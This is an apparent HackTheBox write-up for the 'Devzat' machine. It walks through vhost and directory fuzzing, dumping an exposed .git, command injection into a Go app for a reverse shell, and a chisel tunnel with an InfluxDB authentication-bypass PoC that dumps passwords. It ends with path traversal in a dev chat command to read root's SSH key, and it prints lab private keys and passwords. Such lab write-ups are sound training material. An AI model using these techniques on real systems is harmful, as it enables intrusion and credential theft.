Devzat is a medium rated machine on HackTheBox created by c1sc0. For the user part we will discover a command injection vulnerability by downloading an exposed git directory on a vhost. On the machine there is a vulnerable installation of InfluxDB running which enables us to retrieve the password for another user. For the root part we will find a password in the backups folder for a devzat application which allows us to read rootโs private ssh key.
User
Nmap
As usual we start our enumeration with a nmap scan against all ports followed by a script and version detection scan against the open ones to get an overview of the initial attack surface.
All ports
1
2
3
4
5
6
7
8
9
10
11
$ sudo nmap -p- -T4 10.129.95.249
Starting Nmap 7.92 ( https://nmap.org ) at 2021-10-16 20:08 UTC
Nmap scan report for 10.129.95.249
Host is up (0.031s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8000/tcp open http-alt
Nmap done: 1 IP address (1 host up) scanned in 65.02 seconds
Script and version
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ sudo nmap -sC -sV -p22,80,8000 10.129.95.249
Starting Nmap 7.92 ( https://nmap.org ) at 2021-10-16 20:13 UTC
Nmap scan report for 10.129.95.249
Host is up (0.026s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c2:5f:fb:de:32:ff:44:bf:08:f5:ca:49:d4:42:1a:06 (RSA)
| 256 bc:cd:e8:ee:0a:a9:15:76:52:bc:19:a4:a3:b2:ba:ff (ECDSA)
|_ 256 62:ef:72:52:4f:19:53:8b:f2:9b:be:46:88:4b:c3:d0 (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-title: Did not follow redirect to http://devzat.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
8000/tcp open ssh (protocol 2.0)
| fingerprint-strings:
| NULL:
|_ SSH-2.0-Go
| ssh-hostkey:
|_ 3072 6a:ee:db:90:a6:10:30:9f:94:ff:bf:61:95:2a:20:63 (RSA)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.92%I=7%D=10/16%Time=616B3259%P=x86_64-pc-linux-gnu%r(N
SF:ULL,C,"SSH-2\.0-Go\r\n");
Service Info: Host: devzat.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 37.38 seconds
Exposed git
Port 80 and 8000 seem the most promising initially. On port 80 we see a homepage for the devzat application.
Fuzzing for vhosts on the machine we discover a pets
vhost which we add to our /etc/hosts
file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ ffuf -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://devzat.htb -H 'Host: FUZZ.devzat.htb' -fw 18
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://devzat.htb
:: Wordlist : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.devzat.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Response words: 18
________________________________________________
pets [Status: 200, Size: 510, Words: 20, Lines: 21]
:: Progress: [114441/114441] :: Job [1/1] :: 1532 req/sec :: Duration: [0:01:22] :: Errors: 0 ::
Opening the page in our browser we find a custom looking application where we can add pets to a list.
Fuzzing for directories on the webpage we find that the .git
directory is exposed.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ ffuf -w /opt/SecLists/Discovery/Web-Content/raft-large-words.txt -u http://pets.devzat.htb/FUZZ -fs 510
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://pets.devzat.htb/FUZZ
:: Wordlist : FUZZ: /opt/SecLists/Discovery/Web-Content/raft-large-words.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Response size: 510
________________________________________________
css [Status: 301, Size: 40, Words: 3, Lines: 3]
build [Status: 301, Size: 42, Words: 3, Lines: 3]
server-status [Status: 403, Size: 280, Words: 20, Lines: 10]
.git [Status: 301, Size: 41, Words: 3, Lines: 3]
:: Progress: [119600/119600] :: Job [1/1] :: 1495 req/sec :: Duration: [0:01:29] :: Errors: 0 ::
We can quickly dump this using git-dumper
.
1
2
3
4
5
$ git-dumper http://pets.devzat.htb/.git dump
[-] Testing http://pets.devzat.htb/.git/HEAD [200]
[-] Testing http://pets.devzat.htb/.git/ [200]
[-] Fetching .git recursively
...[snip]...
Command injection
The loadCharacter
function in main.go
looks interesting as it seems to be vulnerable to command injection by directly passing user controlled input to sh -c
.
main.go
1
2
3
4
5
6
7
8
9
10
...[snip]...
func loadCharacter(species string) string {
cmd := exec.Command("sh", "-c", "cat characteristics/"+species)
stdoutStderr, err := cmd.CombinedOutput()
if err != nil {
return err.Error()
}
return string(stdoutStderr)
}
...[snip]...
This function getโs called when we add a new pet to the list, so letโs intercept the request for it in burp and send it to repeater. Next we set up a ncat listener to catch the reverse shell.
1
2
3
4
$ nc -lnvp 7575
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
The vulnerable parameter is the species
parameter so we inject our bash reverse shell there, terminating before and after it with ;
, and send the request.
This results in a reverse shell on our listener as patrick which we upgrade and fix the terminal size.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ nc -lnvp 7575
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
Ncat: Connection from 10.129.95.249.
Ncat: Connection from 10.129.95.249:53630.
bash: cannot set terminal process group (923): Inappropriate ioctl for device
bash: no job control in this shell
patrick@devzat:~/pets$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
patrick@devzat:~/pets$ export TERM=xterm
export TERM=xterm
patrick@devzat:~/pets$ ^Z
[1]+ Stopped nc -lnvp 7575
$ stty raw -echo;fg
nc -lnvp 7575
patrick@devzat:~/pets$ stty rows 55 cols 236
Looking around in patrickโs home directory we find his private ssh key.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
patrick@devzat:~/pets$ cat ~/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
InfluxDB
Connecting to the earlier found ssh port 8000 as patrick we see an interesting discussion between him and admin where a influxdb instance is mentioned.
1
2
3
4
5
6
7
8
9
10
11
patrick@devzat:~/pets$ ssh 127.0.0.1 -p 8000
admin: Hey patrick, you there?
patrick: Sure, shoot boss!
admin: So I setup the influxdb for you as we discussed earlier in business meeting.
patrick: Cool ๐
admin: Be sure to check it out and see if it works for you, will ya?
patrick: Yes, sure. Am on it!
devbot: admin has left the chat
Welcome to the chat. There are no more users
devbot: patrick has joined the chat
patrick:
Checking for open ports on the machine we see it seems to be listening on localhost on its default port.
1
2
3
4
patrick@devzat:~/pets$ ss -ln
...[snip]...
tcp LISTEN 0 4096 127.0.0.1:8086 0.0.0.0:*
...[snip]...
Doing a HEAD request on it we can identify the version to be 1.7.5
for which a known CVE exists.
1
2
3
4
5
6
7
8
patrick@devzat:~$ curl -I http://127.0.0.1:8086
HTTP/1.1 404 Not Found
Content-Type: text/plain; charset=utf-8
X-Content-Type-Options: nosniff
X-Influxdb-Build: OSS
X-Influxdb-Version: 1.7.5
Date: Sat, 16 Oct 2021 21:06:15 GMT
Content-Length: 19
To use this PoC on it we forward it to our machine with chisel.
1
2
3
4
$ chisel server -p 9000 -reverse
2021/10/16 21:04:33 server: Reverse tunnelling enabled
2021/10/16 21:04:33 server: Fingerprint xt8l5g1cRTnKyLo0fa6iK7rjwyGcOSE9g7EaAZ9GHf4=
2021/10/16 21:04:33 server: Listening on http://0.0.0.0:9000
1
2
3
4
patrick@devzat:~$ ./chisel client 10.10.14.82:9000 R:8086:127.0.0.1:8086 &
[1] 82221
patrick@devzat:~$ 2021/10/16 21:05:23 client: Connecting to ws://10.10.14.82:9000
2021/10/16 21:05:23 client: Connected (Latency 26.208854ms)
After we modify the exploit script to remove the unessecary request for the banner we create a small list of known possible usernames.
__main__.py
1
2
3
4
...[snip]...
if __name__ == '__main__':
exploit()
users
1
2
3
4
patrick
catherine
admin
root
Running the exploit we see that is indeed vulnerable to an empty SharedSecret and we are able to access the database as the admin user.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ python __main__.py
Insert ip host (default localhost):
Insert port (default 8086):
Insert influxdb user (wordlist path to bruteforce username): ../users
Start username bruteforce
[x] patrick
[x] catherine
[v] admin
Host vulnerable !!!
Databases list:
1) devzat
2) _internal
Insert database name (exit to close):
We select the devzat
database and a query for existing tables results in a user
table.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Insert database name (exit to close): devzat
[devzat] Insert query (exit to change db): SHOW MEASUREMENTS
{
"results": [
{
"series": [
{
"columns": [
"name"
],
"name": "measurements",
"values": [
[
"user"
]
]
}
],
"statement_id": 0
}
]
}
Next we enumerate the columns for the table.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
[devzat] Insert query (exit to change db): SHOW FIELD KEYS
{
"results": [
{
"series": [
{
"columns": [
"fieldKey",
"fieldType"
],
"name": "user",
"values": [
[
"enabled",
"boolean"
],
[
"password",
"string"
],
[
"username",
"string"
]
]
}
],
"statement_id": 0
}
]
}
Username and password sound interesting so we retrieve the values for them.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
[devzat] Insert query (exit to change db): SELECT "username", "password" FROM "user"
{
"results": [
{
"series": [
{
"columns": [
"time",
"username",
"password"
],
"name": "user",
"values": [
[
"2021-06-22T20:04:16.313965493Z",
"wilhelm",
"WillyWonka2021"
],
[
"2021-06-22T20:04:16.320782034Z",
"catherine",
"woBeeYareedahc7Oogeephies7Aiseci"
],
[
"2021-06-22T20:04:16.996682002Z",
"charles",
"RoyalQueenBee$"
]
]
}
],
"statement_id": 0
}
]
}
The only user that actually exists on the machine is catherine. Password authentication is disabled for ssh so we set the correct permissions on the earlier found ssh key for patrick, ssh into the machine and switch to catherine. Now we can add the user flag to our collection.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$ chmod 600 patrick
$ ssh -i patrick patrick@devzat.htb
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-77-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sat 16 Oct 2021 09:17:27 PM UTC
System load: 0.0 Processes: 247
Usage of /: 59.7% of 7.81GB Users logged in: 0
Memory usage: 34% IPv4 address for docker0: 172.17.0.1
Swap usage: 0% IPv4 address for eth0: 10.129.95.249
107 updates can be applied immediately.
33 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sat Oct 16 20:22:22 2021 from 10.10.14.82
patrick@devzat:~$ su catherine
Password:
catherine@devzat:/home/patrick$ cd
catherine@devzat:~$ wc -c user.txt
33 user.txt
Root
Backup
Checking in to devzat as catherine we see another interesting conversation between her and patrick. They talk about a new feature in devzat being implemented on a local instance running on port 8443. Furthermore it is mentioned that the source code for the application is in the backups
folder.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
catherine@devzat:~$ ssh 127.0.0.1 -p 8000
patrick: Hey Catherine, glad you came.
catherine: Hey bud, what are you up to?
patrick: Remember the cool new feature we talked about the other day?
catherine: Sure
patrick: I implemented it. If you want to check it out you could connect to the local dev instance on port 8443.
catherine: Kinda busy right now ๐
patrick: That's perfectly fine ๐ You'll need a password I gave you last time.
catherine: k
patrick: I left the source for your review in backups.
catherine: Fine. As soon as the boss let me off the leash I will check it out.
patrick: Cool. I am very curious what you think of it. See ya!
devbot: patrick has left the chat
Welcome to the chat. There are no more users
devbot: catherine has joined the chat
catherine:
Checking for it, it is indeed there and we are able to access it.
1
2
catherine@devzat:~$ ls /var/backups/
apt.extended_states.0 apt.extended_states.1.gz apt.extended_states.2.gz devzat-dev.zip devzat-main.zip
A quick way to find differences in the dev
variant is probably to just diff
the two applications, so we transfer them both to our machine. We first copy them to the /tmp
directory and allow all users to read them.
1
2
catherine@devzat:~$ cp /var/backups/devzat-dev.zip /var/backups/devzat-main.zip /tmp/
catherine@devzat:~$ chmod 644 /tmp/devzat-main.zip /tmp/devzat-dev.zip
Now we can simply scp them to our machine using patricks ssh key.
1
2
3
4
$ scp -i patrick patrick@devzat.htb:/tmp/devzat-dev.zip .
devzat-dev.zip 100% 28KB 339.4KB/s 00:00
$ scp -i patrick patrick@devzat.htb:/tmp/devzat-main.zip .
devzat-main.zip
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
$ unzip devzat-dev.zip
Archive: devzat-dev.zip
creating: dev/
inflating: dev/go.mod
extracting: dev/.gitignore
inflating: dev/util.go
inflating: dev/testfile.txt
inflating: dev/eastereggs.go
inflating: dev/README.md
inflating: dev/games.go
inflating: dev/colors.go
extracting: dev/log.txt
inflating: dev/commands.go
inflating: dev/start.sh
inflating: dev/devchat.go
inflating: dev/LICENSE
inflating: dev/commandhandler.go
inflating: dev/art.txt
inflating: dev/go.sum
extracting: dev/allusers.json
$ unzip devzat-main.zip
Archive: devzat-main.zip
creating: main/
inflating: main/go.mod
extracting: main/.gitignore
inflating: main/util.go
inflating: main/eastereggs.go
inflating: main/README.md
inflating: main/games.go
inflating: main/colors.go
extracting: main/log.txt
inflating: main/commands.go
inflating: main/start.sh
inflating: main/devchat.go
inflating: main/LICENSE
inflating: main/commandhandler.go
inflating: main/art.txt
inflating: main/go.sum
inflating: main/allusers.json
After we unzipped both repositories we run a diff on the folders. The newly implemented function seems to be fileCommand
. It takes two arguments where the second one is the password and the first one the file to read.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ diff dev main
...[snip]...
< func fileCommand(u *user, args []string) {
< if len(args) < 1 {
< u.system("Please provide file to print and the password")
< return
< }
<
< if len(args) < 2 {
< u.system("You need to provide the correct password to use this function")
< return
< }
<
< path := args[0]
< pass := args[1]
<
< // Check my secure password
< if pass != "CeilingCatStillAThingIn2021?" {
< u.system("You did provide the wrong password")
< return
< }
...[snip]...
Checking how the command is registered we can see that it is implemented as /file
.
commands.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
...[snip]...
func registerCommands() {
var (
clear = commandInfo{"clear", "Clears your terminal", clearCommand, 1, false, nil}
message = commandInfo{"message", "Sends a private message to someone", messageCommand, 1, false, []string{"msg", "="}}
users = commandInfo{"users", "Gets a list of the active users", usersCommand, 1, false, nil}
all = commandInfo{"all", "Gets a list of all users who has ever connected", allCommand, 1, false, nil}
exit = commandInfo{"exit", "Kicks you out of the chat incase your client was bugged", exitCommand, 1, false, nil}
bell = commandInfo{"bell", "Toggles notifications when you get pinged", bellCommand, 1, false, nil}
room = commandInfo{"room", "Changes which room you are currently in", roomCommand, 1, false, nil}
kick = commandInfo{"kick", "Kicks a user", kickCommand, 2, true, nil}
id = commandInfo{"id", "Gets the hashed IP of the user", idCommand, 1, false, nil}
_commands = commandInfo{"commands", "Get a list of commands", commandsCommand, 1, false, []string{"commands"}}
nick = commandInfo{"nick", "Change your display name", nickCommand, 1, false, nil}
color = commandInfo{"color", "Change your display name color", colorCommand, 1, false, nil}
timezone = commandInfo{"timezone", "Change how you view time", timezoneCommand, 1, false, []string{"tz"}}
emojis = commandInfo{"emojis", "Get a list of emojis you can use", emojisCommand, 1, false, nil}
help = commandInfo{"help", "Get generic info about the server", helpCommand, 1, false, nil}
tictactoe = commandInfo{"tictactoe", "Play tictactoe", tictactoeCommand, 1, false, []string{"ttt", "tic"}}
hangman = commandInfo{"hangman", "Play hangman", hangmanCommand, 0, false, []string{"hang"}}
shrug = commandInfo{"shrug", "Drops a shrug emoji", shrugCommand, 1, false, nil}
asciiArt = commandInfo{"ascii-art", "Bob ross with text", asciiArtCommand, 1, false, nil}
exampleCode = commandInfo{"example-code", "Hello world!", exampleCodeCommand, 1, false, nil}
file = commandInfo{"file", "Paste a files content directly to chat [alpha]", fileCommand, 1, false, nil}
)
commands = []commandInfo{clear, message, users, all, exit, bell, room, kick, id, _commands, nick, color, timezone, emojis, help, tictactoe, hangman, shrug, asciiArt, exampleCode, file}
}
...[snip]...
Connecting to the dev instance of devzat we try to read rootโs ssh key.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
catherine@devzat:~$ ssh 127.0.0.1 -p 8443
patrick: Hey Catherine, glad you came.
catherine: Hey bud, what are you up to?
patrick: Remember the cool new feature we talked about the other day?
catherine: Sure
patrick: I implemented it. If you want to check it out you could connect to the local dev instance on port 8443.
catherine: Kinda busy right now ๐
patrick: That's perfectly fine ๐ You'll need a password which you can gather from the source. I left it in our default backups location.
catherine: k
patrick: I also put the main so you could diff main dev if you want.
catherine: Fine. As soon as the boss let me off the leash I will check it out.
patrick: Cool. I am very curious what you think of it. Consider it alpha state, though. Might not be secure yet. See ya!
devbot: patrick has left the chat
Welcome to the chat. There are no more users
devbot: catherine has joined the chat
catherine: /file /root/.ssh/id_rsa CeilingCatStillAThingIn2021?
[SYSTEM] The requested file @ /root/devzat/root/.ssh/id_rsa does not exist!
The error message tells us how the path getโs concatenated, so we can simply go a directory up and are lucky to find rootโs private ssh key exists in the default location on the machine.
1
2
3
4
5
6
7
8
9
catherine: /file ../.ssh/id_rsa CeilingCatStillAThingIn2021?
[SYSTEM] -----BEGIN OPENSSH PRIVATE KEY-----
[SYSTEM] b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
[SYSTEM] QyNTUxOQAAACDfr/J5xYHImnVIIQqUKJs+7ENHpMO2cyDibvRZ/rbCqAAAAJiUCzUclAs1
[SYSTEM] HAAAAAtzc2gtZWQyNTUxOQAAACDfr/J5xYHImnVIIQqUKJs+7ENHpMO2cyDibvRZ/rbCqA
[SYSTEM] AAAECtFKzlEg5E6446RxdDKxslb4Cmd2fsqfPPOffYNOP20d+v8nnFgciadUghCpQomz7s
[SYSTEM] Q0ekw7ZzIOJu9Fn+tsKoAAAAD3Jvb3RAZGV2emF0Lmh0YgECAwQFBg==
[SYSTEM] -----END OPENSSH PRIVATE KEY-----
catherine:
All we have to do now is to clean the key, set the correct permissions on it, ssh into the machine as the root user and grab the flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ chmod 600 root
$ ssh -i root root@devzat.htb
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-77-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sat 16 Oct 2021 09:33:42 PM UTC
System load: 0.0 Processes: 249
Usage of /: 59.8% of 7.81GB Users logged in: 1
Memory usage: 29% IPv4 address for docker0: 172.17.0.1
Swap usage: 0% IPv4 address for eth0: 10.129.95.249
107 updates can be applied immediately.
33 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Mon Oct 11 14:34:01 2021
root@devzat:~# wc -c root.txt
33 root.txt
root@devzat:~#